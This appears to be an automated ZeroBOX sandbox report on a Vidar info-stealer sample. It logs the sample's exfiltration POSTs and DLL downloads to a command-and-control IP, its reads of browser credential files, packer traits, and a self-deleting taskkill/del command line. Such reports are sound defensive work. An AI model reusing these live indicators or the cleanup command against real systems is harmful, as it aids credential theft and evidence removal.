Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	June 18, 2021, 9:02 a.m.	June 18, 2021, 9:06 a.m.

Size	2.8MB
Type	MS-DOS executable, MZ for MS-DOS
MD5	`7283347ba70004a56396caa0a2de7bb0`
SHA256	`d9d7be1231912d7967848f8b286332be9972712bbf745d9cd725123f3ca6cf57`
CRC32	`FF49C06F`
ssdeep	`49152:0pA6l5jszHjVcp5jKVK1CP9wnYEwMgb6eghQD5jKVKFOrnrgIYeghQ:kv5ozDVcp9KIQ4Ydb6DM9KIorsIYD`
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description)

vidarses.exe "C:\Users\test22\AppData\Local\Temp\vidarses.exe"
732
- cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im vidarses.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\Temp\vidarses.exe" & del C:\ProgramData\*.dll & exit
  1976
  - taskkill.exe taskkill /im vidarses.exe /f
    2664
  - timeout.exe timeout /t 6
    260

Name	Response	Post-Analysis Lookup
bandakere.tumblr.com	A 74.114.154.18 A 74.114.154.22	74.114.154.22

IP Address	Status	Action
159.69.20.131	Active	Moloch
164.124.101.2	Active	Moloch
74.114.154.22	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49202 -> 159.69.20.131:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 159.69.20.131:80 -> 192.168.56.101:49202	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 192.168.56.101:49202 -> 159.69.20.131:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 192.168.56.101:49201 -> 74.114.154.22:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49202 -> 159.69.20.131:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 192.168.56.101:49202 -> 159.69.20.131:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 192.168.56.101:49202 -> 159.69.20.131:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 192.168.56.101:49202 -> 159.69.20.131:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 192.168.56.101:49202 -> 159.69.20.131:80	2025431	ET MALWARE Vidar/Arkei Stealer Client Data Upload	A Network Trojan was detected
TCP 192.168.56.101:49202 -> 159.69.20.131:80	2029236	ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil	Malware Command and Control Activity Detected
TCP 192.168.56.101:49202 -> 159.69.20.131:80	2029846	ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)	A Network Trojan was detected

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49201 74.114.154.22:443	C=GB, ST=Greater Manchester, L=Salford, O=Sectigo Limited, CN=Sectigo RSA Domain Validation Secure Server CA	CN=*.tumblr.com	14:78:ba:5b:b5:54:5d:a1:2c:d2:79:4c:42:99:bb:3a:a9:db:86:c2

Queries for the computername (2 events)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameA June 18, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW June 18, 2021, 9:02 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (3 events)

Time & API	Arguments	Status	Return
WriteConsoleW June 18, 2021, 9:02 a.m.	buffer: SUCCESS: The process "vidarses.exe" with PID 732 has been terminated. console_handle: 0x00000007	1	1
WriteConsoleW June 18, 2021, 9:02 a.m.	buffer: Waiting for 6 console_handle: 0x00000007	1	1
WriteConsoleW June 18, 2021, 9:02 a.m.	buffer: seconds, press a key to continue ... console_handle: 0x00000007	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Tries to locate where the browsers are installed (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 18, 2021, 9:02 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (4 events)

section	.MPRESS1
section	.MPRESS2
section	-+I \xf0\x9f
section	.vmp0

The file contains an unknown PE resource name possibly indicative of a packer (2 events)

resource name	AVI
resource name	PNG

One or more processes crashed (3 events)

Time & API	Arguments	Status
__exception__ June 18, 2021, 9:02 a.m.	stacktrace: vidarses+0x35e844 @ 0x75e844 vidarses+0x37eab1 @ 0x77eab1 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xc000008e exception.offset: 46887 exception.address: 0x76a7b727 registers.esp: 1638148 registers.edi: 6000640 registers.eax: 1638148 registers.ebp: 1638228 registers.edx: 2130566132 registers.ebx: 0 registers.esi: 2000778283 registers.ecx: 4063690752	1
__exception__ June 18, 2021, 9:02 a.m.	stacktrace: exception.instruction_r: ed e9 17 23 06 00 c3 e9 b5 d7 05 00 2c 78 6c ea exception.symbol: vidarses+0x33a229 exception.instruction: in eax, dx exception.module: vidarses.exe exception.exception_code: 0xc0000096 exception.offset: 3383849 exception.address: 0x73a229 registers.esp: 1638268 registers.edi: 10498546 registers.eax: 1750617430 registers.ebp: 6000640 registers.edx: 22614 registers.ebx: 4194304 registers.esi: 13 registers.ecx: 20	1
__exception__ June 18, 2021, 9:02 a.m.	stacktrace: exception.instruction_r: ed e9 9f 23 01 00 85 53 1c b1 ff ff 39 53 60 df exception.symbol: vidarses+0x38d9fe exception.instruction: in eax, dx exception.module: vidarses.exe exception.exception_code: 0xc0000096 exception.offset: 3725822 exception.address: 0x78d9fe registers.esp: 1638268 registers.edi: 10498546 registers.eax: 1447909480 registers.ebp: 6000640 registers.edx: 22104 registers.ebx: 2256917605 registers.esi: 13 registers.ecx: 10	1

HTTP traffic contains suspicious features which may be indicative of malware related traffic (9 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://159.69.20.131/898
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://159.69.20.131/freebl3.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://159.69.20.131/mozglue.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://159.69.20.131/msvcp140.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://159.69.20.131/nss3.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://159.69.20.131/softokn3.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://159.69.20.131/vcruntime140.dll
suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://159.69.20.131/
suspicious_features	GET method with no useragent header	suspicious_request	GET https://bandakere.tumblr.com/

Performs some HTTP requests (9 events)

request	POST http://159.69.20.131/898
request	GET http://159.69.20.131/freebl3.dll
request	GET http://159.69.20.131/mozglue.dll
request	GET http://159.69.20.131/msvcp140.dll
request	GET http://159.69.20.131/nss3.dll
request	GET http://159.69.20.131/softokn3.dll
request	GET http://159.69.20.131/vcruntime140.dll
request	POST http://159.69.20.131/
request	GET https://bandakere.tumblr.com/

Sends data using the HTTP POST Method (2 events)

request	POST http://159.69.20.131/898
request	POST http://159.69.20.131/

Allocates read-write-execute memory (usually to unpack itself) (10 events)

Time & API	Arguments	Status
NtProtectVirtualMemory June 18, 2021, 9:02 a.m.	process_identifier: 732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7743f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 18, 2021, 9:02 a.m.	process_identifier: 732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x773b0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 18, 2021, 9:02 a.m.	process_identifier: 732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 516096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00401000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 18, 2021, 9:02 a.m.	process_identifier: 732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 90112 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0047f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 18, 2021, 9:02 a.m.	process_identifier: 732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 12288 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00495000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 18, 2021, 9:02 a.m.	process_identifier: 732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0049b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 18, 2021, 9:02 a.m.	process_identifier: 732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00493000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 18, 2021, 9:02 a.m.	process_identifier: 732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0047f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 18, 2021, 9:02 a.m.	process_identifier: 732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0047f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 18, 2021, 9:02 a.m.	process_identifier: 732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x726b2000 process_handle: 0xffffffff	1

Steals private information from local Internet browsers (3 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Chromium\User Data\Local State
file	C:\Users\test22\AppData\Local\Nichrome\User Data\Local State

Creates executable files on the filesystem (6 events)

file	C:\ProgramData\freebl3.dll
file	C:\ProgramData\msvcp140.dll
file	C:\ProgramData\nss3.dll
file	C:\ProgramData\vcruntime140.dll
file	C:\ProgramData\mozglue.dll
file	C:\ProgramData\softokn3.dll

Creates a suspicious process (2 events)

cmdline	"C:\Windows\System32\cmd.exe" /c taskkill /im vidarses.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\Temp\vidarses.exe" & del C:\ProgramData\*.dll & exit
cmdline	C:\Windows\System32\cmd.exe /c taskkill /im vidarses.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\Temp\vidarses.exe" & del C:\ProgramData\*.dll & exit

Executes one or more WMI queries (1 event)

wmi	SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "vidarses.exe")

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW June 18, 2021, 9:02 a.m.	show_type: 0 filepath_r: C:\Windows\System32\cmd.exe parameters: /c taskkill /im vidarses.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\Temp\vidarses.exe" & del C:\ProgramData\*.dll & exit filepath: C:\Windows\System32\cmd.exe	1	1	0

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (10 events)

Time & API	Arguments	Status	Return
Process32NextW June 18, 2021, 9:02 a.m.	snapshot_handle: 0x000002dc process_name: audiodg.exe process_identifier: 892	1	1
Process32NextW June 18, 2021, 9:02 a.m.	snapshot_handle: 0x000002dc process_name: pw.exe process_identifier: 2816	1	1
Process32NextW June 18, 2021, 9:02 a.m.	snapshot_handle: 0x000002dc process_name: SearchIndexer.exe process_identifier: 2940	1	1
Process32NextW June 18, 2021, 9:02 a.m.	snapshot_handle: 0x000002dc process_name: SearchProtocolHost.exe process_identifier: 1480	1	1
Process32NextW June 18, 2021, 9:02 a.m.	snapshot_handle: 0x000002dc process_name: SearchFilterHost.exe process_identifier: 3040	1	1
Process32NextW June 18, 2021, 9:02 a.m.	snapshot_handle: 0x000002dc process_name: SearchProtocolHost.exe process_identifier: 2120	1	1
Process32NextW June 18, 2021, 9:02 a.m.	snapshot_handle: 0x000002dc process_name: mobsync.exe process_identifier: 1068	1	1
Process32NextW June 18, 2021, 9:02 a.m.	snapshot_handle: 0x000002dc process_name: pw.exe process_identifier: 3064	1	1
Process32NextW June 18, 2021, 9:02 a.m.	snapshot_handle: 0x000002dc process_name: taskhost.exe process_identifier: 2832	1	1
Process32NextW June 18, 2021, 9:02 a.m.	snapshot_handle: 0x000002dc process_name: vidarses.exe process_identifier: 732	1	1

An executable file was downloaded by the process vidarses.exe (6 events)

Time & API	Arguments	Status	Return
InternetReadFile June 18, 2021, 9:02 a.m.	buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $Àð/AVAVAVéÒVAV]ó@WAV1VAV]óBWAV]óDWAV]óEWAV¦ñ@WAVOò@WAV@VÖAVOòBWAVOòEWÀAVOòAWAVOò¾VAVOòCWAVRichAVPELØbë[à"!Øf)Ýðp£s@pæPÀæÈ@xüÐPà0âTâ@ð8.texttÖØ `.rdataüþðÜ@@.data,HðÜ@À.rsrcx@à@@.relocàPä@B request_handle: 0x00cc000c	1	1
InternetReadFile June 18, 2021, 9:02 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ÂU±É£;âÉ£;âÉ£;âÀÛ¨âÙ£;âWüâË£;âÁ8ãÇ£;âÁ?ãÂ£;âÁ:ãÍ£;âÁ>ãÛ£;âëÃ:ãÀ£;âÉ£:âw£;âÀ?ãÈ£;âÀ>ãÝ£;âÀ;ãÈ£;âÀÄâÈ£;âÀ9ãÈ£;âRichÉ£;âPELÄ_ë[à"!zà@3@A@Àt´Þ, xúÐ0h¹TT¹h¸@ôl¾.textÊxz `.rdata^ef~@@.data¼ä@À.didat8æ@À.rsrcx è@@.reloch0ì@B request_handle: 0x00cc000c	1	1
InternetReadFile June 18, 2021, 9:02 a.m.	buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $¦È¼Aâ©Òâ©Òâ©ÒV5=à©ÒëÑAú©Ò;ËÓá©Òâ©Ó"©Ò;ËÑë©Ò;ËÖî©Ò;Ë×ô©Ò;ËÚ©Ò;ËÒã©Ò;Ë-ã©Ò;ËÐã©ÒRichâ©ÒPEL8'Yà"!P± Ðaz@AðCÏôR,øx8?4:ðf8È(@Pð@@.textr `.data( @À.idata6P @@.didat4p6@À.rsrcø8@@.reloc4:<<@B request_handle: 0x00cc000c	1	1
InternetReadFile June 18, 2021, 9:02 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $#4gâZßgâZßgâZßnÉßsâZß¾[ÞeâZßùBßcâZß¾YÞjâZß¾_ÞmâZß¾^ÞlâZßE[ÞoâZß¬[ÞdâZßgâ[ßâZß¬^ÞmãZß¬ZÞfâZß¬¥ßfâZß¬XÞfâZßRichgâZßPELbë[à"!êwð@·»@ =T°pæÐÀ}pTÈ@ø.textèê `.rdataRTî@@.datatG`"B@À.rsrcp°d@@.reloc}À~h@B request_handle: 0x00cc000c	1	1
InternetReadFile June 18, 2021, 9:02 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $¢l$æ JOæ JOæ JOïuÙOê JO?oKNä JO?oINä JO?oONì JO?oNNí JOÄmKNä JO-nKNå JOæ KO~ JO-nNNò JO-nJNç JO-nµOç JO-nHNç JORichæ JOPEL¿bë[à"!¶b¼ÐP ±@¨¸È0xÐ@`ÐþT(ÿ@Ðl.textË´¶ `.rdata DÐFº@@.data @À.rsrcx0@@.reloc`@@B request_handle: 0x00cc000c	1	1
InternetReadFile June 18, 2021, 9:02 a.m.	buffer: MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $ù£NEÍEÍEÍñ"GÍLà^NÍEÌlÍúÉUÍúÎVÍúÈAÍúÅ_ÍúÍDÍú2DÍúÏDÍRichEÍPEL8'Yà"!ê ® @¼@A°ð À H?0 °8è@¼.textÄéê `.dataDî@À.idata¸ð@@.rsrc ö@@.reloc 0ü@B request_handle: 0x00cc000c	1	1

The binary likely contains encrypted or compressed data indicative of a packer (5 events)

section

{u'size_of_data': u'0x001bb000', u'virtual_address': u'0x00001000', u'entropy': 7.999892836120879, u'name': u'.MPRESS1', u'virtual_size': u'0x003df000'}

entropy

7.99989283612

description

A section with a high entropy has been found

section

{u'size_of_data': u'0x00000a00', u'virtual_address': u'0x003e1000', u'entropy': 7.300171348055585, u'name': u'-+I \\xf0\\x9f', u'virtual_size': u'0x000008d0'}

entropy

7.30017134806

description

A section with a high entropy has been found

section

{u'size_of_data': u'0x00000a00', u'virtual_address': u'0x003e2000', u'entropy': 7.2855385755750035, u'name': u'.vmp0', u'virtual_size': u'0x000008d0'}

entropy

7.28553857558

description

A section with a high entropy has been found

section

{u'size_of_data': u'0x0011b600', u'virtual_address': u'0x003e3000', u'entropy': 7.5025631228737035, u'name': u'.rsrc', u'virtual_size': u'0x0011b4a5'}

entropy

7.50256312287

description

A section with a high entropy has been found

entropy

0.998798901853

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW June 18, 2021, 9:02 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Queries for potentially installed applications (39 events)

Time & API	Arguments	Status
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x000004cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40 base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE}	1
